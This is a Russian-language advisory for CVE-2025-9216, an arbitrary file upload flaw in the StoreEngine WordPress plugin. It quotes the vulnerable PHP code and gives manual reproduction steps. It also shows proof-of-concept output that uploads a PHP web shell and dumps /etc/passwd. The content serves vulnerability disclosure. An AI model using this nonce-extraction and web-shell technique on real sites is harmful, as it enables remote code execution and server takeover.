StoreEngine – Мощный плагин электронной коммерции для WordPress для платежей, членств, партнерских программ, продаж и многого другого <= 1.4.0 - Аутентифицированный (Subscriber+) произвольная загрузка файлов

Плагин StoreEngine содержит уязвимость в функции импорта/экспорта CSV, которая позволяет любому аутентифицированному пользователю (подписчику, автору, редактору и т.д.) загружать произвольные файлы и получать удаленное выполнение кода. Уязвимость возникает из-за двух недостатков безопасности: (1) конечная точка импорта CSV не имеет надлежащих проверок файлов и разрешений, а также полагается только на проверку nonce для безопасности, и (2) storeengine_nonce раскрывается всем пользователям фронтенда через JavaScript плагина. Эта комбинация позволяет любому аутентифицированному пользователю извлекать nonce из страниц фронтенда и использовать его для загрузки PHP-веб-шеллов через конечную точку storeengine_csv/import, что фактически предоставляет пользователям с ролью подписчика+ возможность выполнять произвольный код на сервере.

TL;DR Эксплойты

Предоставлен POC CVE-2025-9216.py, демонстрирующий загрузку администратором веб-шелла с именем omg.php.

python3 ./CVE-2025-9216.py http://localhost:1337 user1 password
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: ff15beb1bd
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
Uploading web shell: omg.php
File upload response: {"success":true,"data":{"filename":"omg.php"}}

Web Shell At: http://localhost:1337/wp-content/uploads/storeengine_uploads/csv/omg.php

Executing test command: cat /etc/passwd
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</pre>

Подробности

Уязвимая функция загрузки файлов

AJAX-действие storeengine_csv/import вызывает функцию import() в строке 51 файла /wp-content/plugins/storeengine/addons/csv/ajax/import.php, в которой отсутствуют надлежащие проверки разрешений и типа файла:

public function import() {
    if ( ! isset( $_FILES['file'] ) ) {
        wp_send_json_error( 'No file uploaded.' );
    }

    $file   = $_FILES['file'];
    $folder = Helper::get_upload_dir() . '/csv/';

    if ( ! file_exists( $folder ) ) {
        wp_mkdir_p( $folder );
    }

    $filename = sanitize_file_name( $file['name'] );
    $target   = trailingslashit( $folder ) . $filename;

    if ( ! move_uploaded_file( $file['tmp_name'], $target ) ) {
        wp_send_json_error( 'Failed to move uploaded file.' );
    }

    wp_send_json_success( [
        'filename' => $filename,
    ] );
}

Функция использует только sanitize_file_name() для очистки имени файла, но не выполняет проверки типа файла или прав доступа. Это позволяет загружать файлы любого типа, включая PHP-файлы, которые могут быть выполнены веб-сервером.

Уязвимость раскрытия nonce

storeengine_nonce раскрывается всем пользователям фронтенда через JavaScript плагина. Это происходит в методе _get_script_data() в строке 279 файла /wp-content/plugins/storeengine/includes/assets.php:

public function _get_script_data(): array {
    // ... other data ...
    return [
        'nonce'             => wp_create_nonce( 'wp_rest' ),
        'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
        'rest_url'          => esc_url_raw( rest_url() ),
        // ... other data ...
    ];
}

Затем этот nonce локализуется в JavaScript фронтенда через метод frontend_scripts() в строке 120:

wp_localize_script(
    'storeengine-frontend-scripts',
    'StoreEngineGlobal',
    $this->get_frontend_script_data() // Calls _get_script_data()
);

Проверка nonce

Nonce проверяется в методе AbstractRequestHandler::check_permission() в строке 510 файла /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php:

protected function check_permission( string $capability, bool $allow_visitors = false ) {
    if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
        return new WP_Error(/* ... */);
    }
    return true;
}

Эта комбинация позволяет любому аутентифицированному пользователю загружать произвольные файлы, включая PHP-веб-шеллы, для удаленного выполнения кода.

Воспроизведение вручную

Войдите в панель администратора и перейдите к плагину StoreEngine.
Перейдите в раздел импорта CSV (если доступен в интерфейсе администратора).
Запустите Burp Suite или аналогичный инструмент и начните перехватывать трафик.
Попробуйте загрузить файл и перехватите POST-запрос к /wp-admin/admin-ajax.php, вызывающий действие storeengine_csv/import.
Измените запрос, чтобы включить произвольный файл; в примере ниже мы загружаем PHP-веб-шелл.
Отправьте запрос и получите {"success":true,"data":{"filename":"shell.php"}}.
Перейдите к веб-шеллу по адресу https://example.com/wp-content/uploads/storeengine_uploads/csv/shell.php и выполните код.

CVE-2025-9216